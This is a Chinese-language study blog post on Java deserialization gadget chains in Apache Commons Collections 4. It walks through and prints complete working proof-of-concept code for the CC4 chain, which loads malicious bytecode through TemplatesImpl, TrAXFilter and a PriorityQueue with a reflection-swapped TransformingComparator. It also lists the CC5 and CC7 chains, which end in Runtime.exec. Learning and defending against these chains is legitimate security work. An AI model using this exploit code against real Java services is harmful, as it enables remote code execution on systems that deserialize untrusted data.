懒狗了,把这几个一起说一下吧。反正没改多少。
CC4
依赖
用的是cc4.0的依赖。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifacFtId> <version>4.0</version> </dependency>
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency>
</dependencies>
|
这里为了巩固前面的优先队列部分,这里重新来一遍:
先大概写个demo,不对数据进行修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC4Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "Natro92"); Field byteField = tc.getDeclaredField("_bytecodes"); byteField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc4Test\\Evil250546845304900.class")); byte[][] codes = {code}; byteField.set(templates, codes);
InstantiateTransformer initiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{ templates }); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), initiateTransformer };
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue queue = new PriorityQueue<>(transformingComparator);
serialize(queue); deserialize("secret.bin");
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class<? extends Object> _class = object.getClass(); Field declaredField = _class.getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(object, value); }
public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin"))); objectOutputStream.writeObject(object); }
public static Object deserialize(String fileName) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName))); return objectInputStream.readObject(); } }
|
但是这样只有正常运行,并没有执行字节码。动态调试一下。
从优先队列的readObject
方法开始。
我们想进入到for循环中
这个size能注意到是0,测试计算(alt+F8
)右移一位仍然是零减一小于0,就导致无法进入。
这里就需要修改掉size的值,比如往队列里面加元素。(当然你这里直接改也行。)
1 2
| queue.add(1); queue.add(2);
|
但是添加之后仍然报错。看到报错信息可以发先,再siftUp这里面也调用了Comparator这个函数。
因此不能让_tfactory
为空
1 2 3 4 5 6
| TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Natro92"); byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc4Test\\Evil250546845304900.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
但是这里似乎是在本地执行的,不能这么解决。
需要先给TransformingComparator
上个测试的ConstantTransformer
,然后再用反射赋值。
也就是这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC4Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Natro92"); byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc4Test\\Evil250546845304900.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue queue = new PriorityQueue<>(transformingComparator); queue.add(1); queue.add(2);
Class c = transformingComparator.getClass(); Field field = c.getDeclaredField("transformer"); field.setAccessible(true); field.set(transformingComparator, chainedTransformer);
serialize(queue); deserialize("secret.bin"); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class<? extends Object> _class = object.getClass(); Field declaredField = _class.getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(object, value); }
public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin"))); objectOutputStream.writeObject(object); }
public static Object deserialize(String fileName) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName))); return objectInputStream.readObject(); } }
|
这就是cc4。
cc5和7与前几个大同小异,这里就不多叙述了。
CC5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
Requires: commons-collections
|
CC7
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Payload method chain:
java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec
|